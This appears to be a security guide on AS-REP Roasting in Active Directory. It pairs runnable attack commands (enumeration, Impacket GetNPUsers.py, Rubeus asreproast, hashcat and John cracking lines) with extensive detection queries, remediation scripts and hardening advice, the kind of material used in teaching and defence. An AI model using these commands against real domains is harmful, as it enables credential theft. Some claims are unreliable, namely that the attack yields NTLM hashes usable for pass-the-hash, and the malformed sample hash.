AS-REP Roasting Attack and Defense

AS-REP Roasting attack targeting accounts without Kerberos pre-authentication. Offline password cracking techniques and detection strategies.

Description

AS-REP Roasting is a sophisticated post-exploitation attack technique targeting Active Directory environments that don't enforce Kerberos pre-authentication for certain user accounts. This attack exploits a fundamental aspect of the Kerberos authentication protocol to extract password hashes that can be cracked offline.

In a properly configured Kerberos environment, pre-authentication requires users to provide valid credentials before the Key Distribution Center (KDC) generates a Ticket Granting Ticket (TGT). However, when pre-authentication is disabled for an account (via the DONT_REQ_PREAUTH flag), the KDC responds with an encrypted TGT without first verifying the requester's identity.

The attack is particularly dangerous because:

No credentials required - Anyone can request AS-REP responses for vulnerable accounts
Offline cracking - Encrypted responses can be cracked offline without detection
Silent reconnaissance - No authentication attempts logged when requesting vulnerable tickets
Common misconfiguration - Legacy systems and service accounts often have pre-auth disabled

Silent Exploitation

AS-REP Roasting is extremely difficult to detect because requesting authentication service responses is normal Kerberos behavior. Attackers can extract vulnerable hashes without ever attempting to authenticate, leaving minimal forensic evidence.

Impact

Account Compromise: Direct access to user account credentials through offline password cracking
Privilege Escalation: Service accounts with pre-auth disabled often have elevated privileges
Domain Reconnaissance: Identifies misconfigured accounts for further exploitation
Credential Theft: NTLM hashes obtained can be used for pass-the-hash attacks
Lateral Movement: Compromised accounts provide access to additional systems and resources
Compliance Violations: Weak authentication configurations violate security standards
Persistent Access: Service accounts rarely change passwords, providing long-term access

The impact is particularly severe when targeting service accounts or administrative users with domain-wide privileges.

Technical Details

Kerberos Pre-Authentication Overview

Kerberos authentication typically follows this flow:

AS-REQ (Authentication Service Request)

User sends initial authentication request to the KDC with timestamp encrypted using their password hash

Pre-Authentication Validation

KDC decrypts the timestamp using the stored password hash to verify the user's identity

AS-REP (Authentication Service Response)

If validation succeeds, KDC returns a TGT encrypted with the user's password hash

TGS-REQ (Ticket Granting Service Request)

User presents TGT to request service tickets

TGS-REP (Ticket Granting Service Response)

KDC issues service tickets for accessing specific resources

The AS-REP Roasting Attack Flow

When pre-authentication is disabled, the attack proceeds as follows:

Enumerate Vulnerable Accounts

Accounts with the DONT_REQ_PREAUTH flag can be identified through LDAP queries:

# Using PowerShell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Using PowerView
Get-DomainUser -PreauthNotRequired -Properties distinguishedname, samaccountname

Request AS-REP Without Pre-Authentication

For accounts without pre-auth requirements, anyone can request an AS-REP:

# Using Impacket's GetNPUsers.py
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat

# Request for specific user
GetNPUsers.py domain.local/vulnerable_user -no-pass -dc-ip 192.168.1.10

Capture Encrypted AS-REP

The KDC responds with an AS-REP encrypted with the user's NTLM hash:

# Example AS-REP hash output
[email protected]:
8a8d5f2c3b1e4f6a9c7d2e5f8b3a6c9d$
7e4f8a2b5c9d3e6f1a4b7c8e2d5f9a3b...

Offline Password Cracking

The encrypted response can be cracked using standard password cracking tools:

# Using Hashcat
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r rules/best64.rule

# Using John the Ripper
john --format=krb5asrep asrep_hashes.txt --wordlist=rockyou.txt

Hash Format Analysis

The AS-REP hash structure:

$krb5asrep$23$: Identifies Kerberos AS-REP with RC4 encryption
username@DOMAIN: Target user and domain information
Hash data: Encrypted portion containing the session key

Common Attack Tools

Impacket GetNPUsers.py

The most popular tool for AS-REP Roasting:

# Enumerate vulnerable users (no credentials needed)
GetNPUsers.py domain.local/ -dc-ip 10.10.10.1 -usersfile users.txt -format hashcat -outputfile hashes.txt

# Target specific user
GetNPUsers.py domain.local/serviceaccount -no-pass -dc-ip 10.10.10.1

# With domain credentials for enumeration
GetNPUsers.py domain.local/user:password -dc-ip 10.10.10.1 -request

Rubeus (Windows Native)

# Enumerate and roast AS-REP accounts
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Target specific user
Rubeus.exe asreproast /user:vulnerable_user /format:hashcat

# Use alternate credentials
Rubeus.exe asreproast /user:target /domain:domain.local /dc:dc01.domain.local

PowerView Integration

# Enumerate AS-REP roastable accounts
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, userprincipalname

# Combined enumeration
Get-DomainUser -PreauthNotRequired -Properties distinguishedname, serviceprincipalname, description

Detection

AS-REP Roasting detection requires monitoring Kerberos authentication patterns and identifying anomalous AS-REQ/AS-REP traffic.

Event Log Monitoring

Event ID 4768: Kerberos TGT Request

Monitor for TGT requests without pre-authentication:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4768)]]
      and
      *[EventData[Data[@Name='PreAuthType']='0']]
      and
      *[EventData[Data[@Name='Status']='0x0']]
    </Select>
  </Query>
</QueryList>

Key indicators to monitor:

PreAuthType = 0 (indicates no pre-authentication)
Multiple requests for same user from different source IPs
Requests for service accounts from workstations
High volume of failed pre-auth requests followed by successful ones

Event ID 4771: Kerberos Pre-Authentication Failed

Track failed pre-auth attempts that may indicate enumeration:

Get-WinEvent -FilterHashtable @{LogName='Security';ID=4771} |
  Where-Object {$_.Properties[6].Value -eq '0x18'} |
  Group-Object {$_.Properties[0].Value} |
  Where-Object Count -gt 10

SIEM Detection Rules

Splunk Query for AS-REP Roasting:

# Detect AS-REP requests without pre-auth
index=windows EventCode=4768 Pre_Authentication_Type=0
| stats count by src_ip, Account_Name, Service_Name
| where count > 5

# Identify accounts targeted for AS-REP roasting
index=windows EventCode=4768 Pre_Authentication_Type=0
| stats dc(src_ip) as unique_sources by Account_Name
| where unique_sources > 3

Azure Sentinel KQL Query:

// AS-REP Roasting detection
SecurityEvent
| where EventID == 4768
| where PreAuthenticationType == "0"
| summarize RequestCount=count(), UniqueIPs=dcount(IpAddress) by TargetUserName, bin(TimeGenerated, 1h)
| where RequestCount > 10 or UniqueIPs > 3

// Failed pre-auth enumeration
SecurityEvent
| where EventID == 4771
| where Status == "0x18"
| summarize FailureCount=count() by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20

Elastic (ECS) Query:

{
  "query": {
    "bool": {
      "must": [
        {"term": {"event.code": "4768"}},
        {"term": {"winlog.event_data.PreAuthType": "0"}}
      ]
    }
  },
  "aggs": {
    "by_user": {
      "terms": {"field": "winlog.event_data.TargetUserName"},
      "aggs": {
        "unique_sources": {
          "cardinality": {"field": "source.ip"}
        }
      }
    }
  }
}

Behavioral Analytics

Baseline establishment: Track normal AS-REQ patterns for each user account
Anomaly detection: Alert on deviations (unusual source IPs, timing, volume)
Service account monitoring: Flag any AS-REQs for service accounts from workstations
User behavior analytics: Correlate with other suspicious activities

Honeypot Accounts

Deploy decoy accounts with pre-auth disabled:

# Create honeypot account
New-ADUser -Name "svc_honeypot" -AccountPassword (ConvertTo-SecureString "ComplexP@ssw0rd!" -AsPlainText -Force) -Enabled $true

# Disable pre-authentication
Set-ADAccountControl -Identity "svc_honeypot" -DoesNotRequirePreAuth $true

# Alert on ANY AS-REP request for this account

Remediation

Immediate Response Actions

1. Identify Vulnerable Accounts

Enumerate accounts with pre-auth disabled

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, PasswordLastSet, LastLogonDate |
  Select-Object Name, DoesNotRequirePreAuth, PasswordLastSet, LastLogonDate |
  Export-Csv vulnerable_accounts.csv

Review and document business justification

Determine if pre-auth must remain disabled for any accounts

Reset compromised account passwords

Immediately change passwords for any affected accounts

2. Enable Pre-Authentication

# Enable pre-auth for specific user
Set-ADAccountControl -Identity "vulnerable_user" -DoesNotRequirePreAuth $false

# Bulk enable for all users (verify first!)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  ForEach-Object {
    Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth $false
    Write-Host "Enabled pre-auth for $($_.SamAccountName)"
  }

3. Reset Passwords

# Reset password for compromised account
Set-ADAccountPassword -Identity "compromised_user" -NewPassword (ConvertTo-SecureString "NewC0mplex!P@ssw0rd" -AsPlainText -Force) -Reset

# Force password change at next logon
Set-ADUser -Identity "compromised_user" -ChangePasswordAtLogon $true

4. Revoke Active Kerberos Tickets

# On domain controller - purge tickets
klist purge -li 0x3e7

# Reset computer account password to invalidate tickets
Reset-ComputerMachinePassword

Long-Term Defensive Strategies

1. Enforce Strong Password Policies

Even with pre-auth disabled, strong passwords make offline cracking difficult:

# Set minimum password length
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -MinPasswordLength 15

# Enable password complexity
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -ComplexityEnabled $true

# Set password history
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -PasswordHistoryCount 24

2. Regular Account Audits

# Automated audit script
$VulnerableUsers = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, ServicePrincipalName

foreach ($user in $VulnerableUsers) {
    $age = (Get-Date) - $user.PasswordLastSet
    if ($age.Days -gt 90) {
        Write-Warning "$($user.Name) has pre-auth disabled and password is $($age.Days) days old"
        # Send alert to security team
    }
}

3. Monitor for Configuration Changes

# Alert on UserAccountControl changes
$Events = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4738} -MaxEvents 1000
$Events | Where-Object {
    $_.Message -match "Don't Require Preauth" -and $_.Message -match "Enabled"
} | ForEach-Object {
    Write-Warning "Pre-auth disabled for account: $($_.Properties[0].Value)"
}

4. Implement Privileged Access Management

Use dedicated admin accounts separate from standard user accounts
Never disable pre-auth for administrative accounts
Rotate service account passwords regularly (every 90 days minimum)
Use Group Managed Service Accounts (gMSAs) where possible

5. Network Segmentation

Restrict KDC access to authorized networks only
Implement firewall rules to limit AS-REQ sources
Use VPNs or jump boxes for remote administrative access

Prevention Best Practices

Account Management

Service Account Hardening

Never disable pre-authentication for service accounts

Instead, use Group Managed Service Accounts (gMSAs):

# Create gMSA (automatically manages passwords)
New-ADServiceAccount -Name "svc_app_gmsa" `
  -DNSHostName app01.domain.local `
  -PrincipalsAllowedToRetrieveManagedPassword "App Servers" `
  -KerberosEncryptionType AES256

# Install on target server
Install-ADServiceAccount -Identity "svc_app_gmsa"

Benefits:

240-character random passwords
Automatic password rotation (every 30 days)
No pre-authentication bypass required
Supports AES256 encryption

Legacy System Compatibility

If pre-auth must remain disabled for legacy systems:

Isolate the account: Create dedicated service account used only by legacy system
Compensating controls:
- Implement 25+ character password
- Monitor account usage continuously
- Restrict account to specific source IPs
- Set short password expiration (30 days)
Migration plan: Document timeline for removing legacy system dependency
Additional monitoring: Configure real-time alerts for any AS-REP requests

# If pre-auth must stay disabled, set very strong password
$Password = -join ((33..126) | Get-Random -Count 30 | ForEach-Object {[char]$_})
Set-ADAccountPassword -Identity "legacy_svc" -NewPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -Reset

# Log the decision with business justification
Set-ADUser -Identity "legacy_svc" -Description "Pre-auth disabled - Business justification: Legacy App X - Approved by: CIO - Review date: 2026-01-01"

Enhanced Password Policies

Implement fine-grained password policies for sensitive accounts:

# Create PSO for service accounts
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" `
  -Precedence 10 `
  -MinPasswordLength 20 `
  -PasswordHistoryCount 24 `
  -MaxPasswordAge "90.00:00:00" `
  -MinPasswordAge "1.00:00:00" `
  -ComplexityEnabled $true `
  -ReversibleEncryptionEnabled $false `
  -LockoutThreshold 3 `
  -LockoutDuration "00:30:00" `
  -LockoutObservationWindow "00:30:00"

# Apply to service accounts OU
Add-ADFineGrainedPasswordPolicySubject -Identity "ServiceAccountPolicy" `
  -Subjects "OU=Service Accounts,DC=domain,DC=local"

Monitoring and Alerting

Continuous Monitoring Strategy:

# Daily vulnerability scan script
$Report = @()
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *

foreach ($account in $VulnerableAccounts) {
    $Report += [PSCustomObject]@{
        Account = $account.SamAccountName
        LastPasswordSet = $account.PasswordLastSet
        PasswordAge = ((Get-Date) - $account.PasswordLastSet).Days
        LastLogon = $account.LastLogonDate
        MemberOf = $account.MemberOf -join "; "
        Enabled = $account.Enabled
        SPNs = $account.ServicePrincipalNames -join "; "
    }
}

# Email to security team if vulnerable accounts found
if ($Report.Count -gt 0) {
    $Report | Export-Csv "AS-REP_Vulnerable_Accounts_$(Get-Date -Format 'yyyy-MM-dd').csv"
    # Send-MailMessage with report attachment
}

Verification

Validate Defensive Posture

Check for Vulnerable Accounts

# Comprehensive vulnerability check
$Results = Get-ADUser -Filter * -Properties DoesNotRequirePreAuth, AdminCount, ServicePrincipalName, MemberOf |
  Where-Object {$_.DoesNotRequirePreAuth -eq $true} |
  Select-Object Name, SamAccountName, DoesNotRequirePreAuth, AdminCount,
    @{N='IsAdmin';E={$_.AdminCount -eq 1}},
    @{N='HasSPN';E={$_.ServicePrincipalName.Count -gt 0}},
    @{N='Groups';E={$_.MemberOf.Count}}

if ($Results.Count -eq 0) {
    Write-Host "SUCCESS: No accounts with pre-authentication disabled" -ForegroundColor Green
} else {
    Write-Host "WARNING: Found $($Results.Count) vulnerable accounts" -ForegroundColor Red
    $Results | Format-Table -AutoSize
}

Test Detection Capabilities

# Controlled test (requires authorization)
# Using Rubeus in isolated test environment
Rubeus.exe asreproast /format:hashcat

# Verify alerts are generated in SIEM
# Check Event ID 4768 logging
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768;StartTime=(Get-Date).AddMinutes(-5)} |
  Where-Object {$_.Properties[8].Value -eq 0} |
  Format-List TimeCreated, Message

Audit Password Strength

# Check password ages for accounts without pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $false} -Properties PasswordLastSet |
  Select-Object Name, PasswordLastSet,
    @{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}} |
  Where-Object {$_.PasswordAge.Days -gt 90} |
  Sort-Object PasswordAge -Descending

Advanced Considerations

AS-REP Roasting in Cloud Environments

Azure AD Considerations:

While traditional AS-REP Roasting targets on-premises Active Directory, hybrid environments require special attention:

Azure AD Connect synchronizes DONT_REQ_PREAUTH flag to cloud
Azure AD doesn't support disabling pre-auth natively
Synchronized accounts may retain vulnerable configuration
Monitor Azure AD sign-in logs for anomalous patterns

AWS Directory Service:

# Check AWS Managed Microsoft AD for vulnerable accounts
aws ds describe-users --directory-id d-1234567890 \
  --query 'Users[?PreAuthenticationEnabled==`false`]'

Kerberos Encryption Types

Encryption Matters

AS-REP responses can use different encryption types. Modern environments should enforce AES256:

# Set AES encryption for account
Set-ADUser -Identity "serviceaccount" -KerberosEncryptionType AES256

# Disable weaker encryption types domain-wide via GPO:
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos" = AES256 only

Cracking AES256 encrypted AS-REPs is computationally expensive compared to RC4.

Relationship to Other Attacks

AS-REP Roasting often combines with:

Kerberoasting: Both target weak Kerberos configurations
Password spraying: Cracked passwords used for additional authentication attempts
Pass-the-Hash: NTLM hashes obtained can be used directly
Silver Tickets: Compromised service account credentials enable ticket forging

References

Tools Documentation

Impacket GetNPUsers - Python AS-REP roasting
Rubeus - Kerberos abuse toolkit
Hashcat - Password cracking for AS-REP hashes

Next Steps

If AS-REP Roasting vulnerabilities are identified:

Immediately enable pre-authentication for all affected accounts
Reset passwords for any accounts that may have been compromised
Implement monitoring for Event ID 4768 with PreAuthType=0
Conduct security awareness training for administrators
Review and implement gMSAs for all service accounts
Review related Active Directory attack techniques:
- Kerberoasting
- Silver Ticket

AS-REP Roasting exploits a dangerous misconfiguration that is trivially easy to fix. Enable Kerberos pre-authentication for all accounts, implement strong password policies, deploy continuous monitoring, and migrate to Group Managed Service Accounts wherever possible. Make AS-REP Roasting prevention a priority in your Active Directory security program.

AS-REP Roasting Attack and Defense

On this page